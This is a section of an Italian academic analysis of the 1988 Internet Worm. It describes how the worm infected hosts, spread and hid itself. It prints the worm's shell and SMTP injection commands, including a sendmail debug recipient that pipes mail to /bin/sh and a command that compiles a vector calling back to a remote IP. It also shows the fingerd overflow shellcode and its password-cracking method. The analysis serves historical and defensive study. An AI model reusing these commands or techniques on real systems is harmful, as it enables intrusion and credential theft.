next up previous contents
Successivo: Analisi della struttura di Su: Worm: il verme di Precedente: Introduzione

Descrizione ad alto livello del Worm

  Questa sezione contiene una descrizione ad alto livello di come il Worm funziona. La descrizione in questa sezione presuppone che il lettore abbia familiarità con i comandi standard di UNIX e qualche volta anche con le caratteristiche di rete di UNIX.

   figure267
Figura 1: Struttura del motore di attacco

Il Worm consiste di due parti: un programma principale, ed un programma di avvio o vettoregif. Cominceremo la descrizione dal punto in cui un host sta per essere infettato. A questo punto, un Worm che gira su di un'altra macchina può: o aver avuto successo nello stabilire una shell sul nuovo host ed essersi connesso di nuovo alla macchina infettante attraverso una connessione TCP [Com88], oppure essersi connesso alla porta SMTP [Pos82] e stare trasmettendo delle istruzioni al programma sendmail.

L'infezione procedeva nel seguente modo:

  1. Veniva stabilito un socket sulla macchina infettante per connettersi al programma vettore (per esempio il socket numero 32341). Da un numero casuale veniva costruita una stringa di (challenge) sfida (per esempio 8712440). Un altro numero casuale veniva usato per costruire un nome di file base (per esempio 14481910).
  2. Il programma vettore veniva installato ed eseguito usando uno dei due metodi seguenti:
    2a)
    Attraverso una connessione TCP ad una shell, il Worm mandava i seguenti comandi (le due linee che cominciano con cc venivano mandate su di una singola linea):
    PATH=/bin:/usr/bin:/usr/ucb
    cd /usr/tmp
    echo gorch49; sed '/int zz/q' > x14481910.c;echo gorch50
    [testo del programma vettore incluso nell'Appendice B]
    int zz;
    cc -o x14481910 x14481910.c;./x14481910 128.32.134.16 32341 8712440;
    rm -f x14481910 x14481910.c;echo DONE
    Poi aspettava la stringa DONE per segnalare che il programma vettore stava girando.

    2b)
    Usando una connessione SMTP, trasmetteva (le due linee che cominciano con cc venivano mandate su di una singola linea):
    debug
    mail from: </dev/null>
    rcpt to: <"|sed -e '1,/^$/'d | /bin/sh ; exit 0">
    
    data
    
    cd /usr/tmp
    cat > x14481910.c <<'EOF'
    [testo del programma vettore incluso nell'Appendice B]
    EOF
    cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440;
    rm -f x14481910 x14481910.c
    
    .
    quit
    Il Worm infettante restava sulla porta designata fino a 2 minuti in attesa che il vettore inviato lo ricontattasse.

  3. Il programma vettore una volta connesso al Worm server, inviava la stringa di sfida (challenge string), e trasferiva tre file: una versione binaria del Worm per Sun 3, una verione binaria per VAX, ed il codice sorgente del programma vettore. Dopo che i file erano stati copiati, il programma vettore diventava una shell (attraverso la chiamata execl) con l'input e l'output connessi al Worm server.
  4. Il Worm server inviava i seguenti comandi alla shell connessa
    PATH=/bin:/usr/bin:/usr/ucb
    rm -f sh
    if [ -f sh ]
    then
    P=x14481910
    else
    P=sh
    fi
    Poi, per ogni file binario trasferito in precedenza (solo due in questo caso, sebbene il codice sia scritto per permetterne di più), inviava la seguente sequenza di comandi:
    cc -o $P x14481910,sun3.o
    ./$P -p $$ x14481910,sun3.o x14481910,vax.o x14481910,l1.c
    rm -f $P
    Il comando rm aveva successo solo se la versione linkata del Worm falliva l'esecuzione. Se il server determinava che l'host fosse stato infettato, allora chiudeva la connessione, altrimenti, provava con l'altro file binario. Dopo aver provato con ambedue i file, dava dei comandi rm per cancellare i file oggetto ed eliminare ogni traccia del tentativo di infezione avvenuto.
  5. Il nuovo Worm sull'host infettato provvedeva a nascondere se stesso oscurando il suo vettore degli argomenti, cancellando la versione binaria di se stesso, e uccidendo il suo processo padre (l'argomento $$ nell'invocazione del punto 4). Poi leggeva in memoria i file binari del Worm, crittografandoli dopo averli letti, e cancellandoli dal disco.
  6. In seguito, il nuovo Worm raccoglieva informazioni sulle interfacce di rete e sugli host che erano connessi alla macchina locale. Costruiva delle liste con queste informazioni in memoria, compreso informazioni sui nomi canonici [Moc87] e sui nomi e indirizzi alternativi delle macchine. Effettuava tali raccolte anche attraverso chiamate ioctl dirette, e lanciando il programma netstat con vari argomenti. Leggeva anche in vari file di sistema cercando nomi di host da aggiungere al suo database in memoria.
  7. Mischiava la lista così costruita di host, e poi iniziava ad infettare alcuni di questi host. Per le reti connesse direttamente, aveva creato una lista di possibili indirizzi numerici ed iniziava ad infettare quegli host se esistevano. A seconda del tipo di host (gateway o rete locale), il Worm tentava di stabilire una connessione sulle porte telnetgif o rexecgif per determinarne la raggiungibilità prima di provare uno dei metodi di infezione.
  8. I tentativi di infezione procedevano su una delle seguenti strade: rsh [Tho83], fingerd [Har77], o sendmail [All83].
    8a)
    L'attacco via rsh veniva tentato cercando di generare una shell remota invocando (in ordine di tentativo) /usr/ucb/rsh, /usr/bin/rsh, e /bin/rsh. Se si aveva successo, l'host veniva infettato come nei passi 1 e 2a, visti in precedenza.

    8b)
    L'attaco attraverso il finger daemon era leggermente più astuto. Veniva stabilita una connessione al daemon di finger sul server remoto e una stringa appositamente costruita di 536 byte veniva passata al daemon remoto, mandando in overflow il buffer di input [Col88] e sovrascrivendo parti dello stack. Per le versioni standard di BSD che girano su computer VAX, l'overflow risultava nello stack frame di ritorno della routine main, in modo che l'indirizzo di ritorno dello stack frame puntava nel buffer dello stack. Le istruzioni che venivano scritte nello stack in quella locazione erano:
    Istruzioni          Commenti
    pushl   $68732f     push '/sh<NUL>'
    pushl   $6e69622f   push '/bin'
    movl    sp, r10     save address of start of string
    pushl   $0          push 0 (arg 3 to execve)
    pushl   $0          push 0 (arg 2 to execve)
    pushl   r10         push string addr (arg 1 to execve)
    pushl   $3          push argument count
    movl    sp,ap       set argument pointer
    chmk    $3b         do "execve" kernel call
    Per cui, il codice eseguito quando la routine main cercava di ritornare era:

    execve("/bin/sh",0,0)

    Sui VAX, questo portava come conseguenza che il Worm era connesso ad una shell remota attraverso una connessione TCP. Il Worm procedeva ad infettare l'host come già visto nei passi 1 e 2a. Sulle SUN, portava semplicemente ad un file di core visto che tale attacco non funzionava per le versioni di fingerd di SUN.

    8c)
    Il Worm poi provava ad infettare un host remoto stabilendo una connessione sulla porta SMTP e spediva il codice di infezione, come già visto in precedenza nel punto 2b.

    Non venivano provati tutti i passi. Appena un metodo aveva successo, l'entrata dell'host nella lista interna era marcata, marcando l'host come infettato e non venivano provati altri metodi.
  9. A questo punto, il Worm entrava in una macchina a stati finiti composta da cinque stati. Ciascun stato era eseguito per breve periodo di tempo, poi il programma ritornava di nuovo al passo 7 (cercando di penetrare in un host attraverso sendmail, finger, o rsh). I primi quattro stati (dei cinque) cercavano di penetrare nelle informazioni di account di un utente della macchina locale. Il quinto stato era lo stato finale, e veniva eseguito dopo che erano stati effettuati tutti i tentativi di rompere le password degli utenti. Nel quinto stato, il Worm ciclava all'infinito cercando di infettare gli host presenti nelle sue tavole locali e marcati come non ancora infettati. I primi quattro stati erano i seguenti: (vedi figura 1)
    9a)
    Il Worm leggeva nei file /etc/hosts.equiv e /.rhosts per cercare i nomi degli host equivalenti [Tho83]. Tali host venivano marcati come equivalenti nella tavola interna degli host (in memoria). Dopo, il Worm leggeva il file /etc/passwd in una struttura dati interna. Mentre stava facendo ciò, esaminava anche il file .forward nella home directory di ciscun utente ed includeva gli eventuali host trovati nella sua lista interna di host da provare. Stranamente, non faceva un controllo simile per i file .rhosts di ciascun utente.

    9b)
    Il Worm cercava di rompere la password di un utente usando delle scelte semplici. Per prima cosa controllava il caso banale in cui la password non era presente. Poi, come password usava il nome di account e il campo GECOS. Supponendo che un utente abbia un'entrata nel file delle password di questo tipo:
    upg:abcdefghijklm:100:5:Nello & Gerardo:/home/staff/upg:/bin/tcsh
    le parole provate come password potenziali potevano essere upg, upgupg, Nello, Gerardo, nello, gerardo, e gpu. Da test effettuati su alcuni sistemi [GraMor84] si vede che password di questo tipo vengono scelte dal 30% degli utenti. Il passo 10 di questa sezione descrive cosa fa il Worm se si indovina una password.

    9c)
    Il terzo stadio nel processo di rompere la password di un utente era quello di provare usando un dizionario interno composto di 432 parole, scegliendo a caso un account. Anche qui se si indovinava una password si procedeva come al passo 10.

    9d)
    Si entrava nel quarto stadio solo se tutti gli altri tentativi fallivano. Per ogni parola nel file /usr/dict/words, il Worm tentava la ricerca di una eventuale password. In più se la parola nel dizionario cominciava con una maiuscola, tale lettera veniva convertita in minuscolo e veniva testata anche la nuova parola.

  10. Quando per un account era stata rotta una password, il Worm tentava di penetrare nelle macchine remote dove lo stesso utente aveva un account. A questo punto il Worm scandiva i file .forward e .rhosts alla ricerca dei nomi [Moc87] degli host remoti sui quali si supponeva che l'utente locale avesse un'altro account. Poi provava con due tipi di attacchi:
    10a)
    Come prima cosa cercava di creare una shell remota usando il servizio rexec. Il tentativo veniva fatto tentando il nome dell'account presente nei file .forward e .rhosts e la password dell'utente sull'host locale. Tutto ciò sfruttando il fatto che gli utenti usano spesso la stessa password per il loro account su più macchine.

    10b)
    Effettuava una rexec all'host corrente (usando il nome di account e la password locali) e tentava un comando rsh all'host remoto usando il nome di account preso dal file. Questo attacco aveva successo in tutti quei casi in cui la macchina remota aveva il file /etc/hosts.equiv o l'utente aveva un file .rhosts che permetteva l'esecuzione remota senza password.

    Se la shell remota veniva creata in uno di questi due modi, allora l'attacco continuava come ai passi 1 e 2a visti in precedenza. Non veniva fatto nessun altro uso delle password degli utenti che erano state rotte.

Attraverso l'esecuzione del loop principale, il Worm controllava la presenza di altri Worm che giravano sulla stessa macchina. Per fare questo il Worm cercava di connettersi ad un altro Worm su di un predeterminato socket TCP localegif. Se tale connessione aveva successo, un Worm settava (a caso) la sua variabile interna pleasequit a 1, in modo da causarne la morte dopo avergli fatto raggiungere la parte interna del terzo stadio (9c). Questo ritardo spiegava in parte il motivo per cui molti sistemi avevano copie multiple del Worm che giravano nello stesso momento.

Un Worm su sette diventava immortale invece di controllare la presenza di altri Worm sul sistema locale. Ciò veniva fatto probabilmente per scavalcare eventuali tentativi di vaccinare un sistema facendo girare un processo fittizio che simulasse la presenza del Worm in attesa su di una connessione TCP sulla porta predefinita. Tutto questo contribuiva anche ad aumentare il carico della macchina una volta infettata.

Il Worm cercava di inviare un pacchetto UDP all'host ernie.berkeley.edu approssimativamente una volta ogni 15 infezionigif. Il codice per fare ciò era sbagliato, per cui, nessuna informazione veniva inviata. Lo scopo di tale informazione eventualmente inviata non è noto, ma si pensa che l'autore del Worm avesse voluto monitorare la diffusione del Worm dall'host ernie (eventualmente rompendo un account su quella macchina) con un programma che testasse l'invio di pacchetti UDP su tale porta. In ogni caso a Berkeley non sono state trovate tracce di un eventuale programma, e quindi si pensa che tutto ciò sia stato fatto solo per far ricadere eventuali falsi sospetti sul personale di Berkeley.

Il Worm cercava anche di forkare se stesso ad intervalli regolari e di killare il suo processo padre. Lo scopo di ciò era duplice. Per primo, siccome il Worm cambiava ripetutamente il suo process id non avrebbe mai accumulato un CPU Time eccessivo da poter essere notato dagli strumenti classici di system administration. In secondo luogo, i processi che stanno girando da molto tempo su di un sistema vengono abbassati di priorità dallo scheduler del sistema operativo. Effettuando una fork il nuovo processo riguadagnerà nuovamente una priorità di scheduling normale [BSD88]. Questo meccanismo non funzionava correttamente, ed infatti, sono state notate istanze del Worm che avevano accumulato più di 600 secondi di CPU Time.

Se il Worm girava per più di 12 ore, allora scaricava dalla sua lista host di tutti gli host marcati come immuni o come già infettati. Il modo in cui gli host venivano aggiunti a questa lista portava come conseguenza che un Worm poteva reinfettare una stessa macchina ogni 12 ore.


next up previous contents
Successivo: Analisi della struttura di Su: Worm: il verme di Precedente: Introduzione

Aniello Castiglione e Gerardo Maiorano < anicas,germai@zoo.diaedu.unisa.it >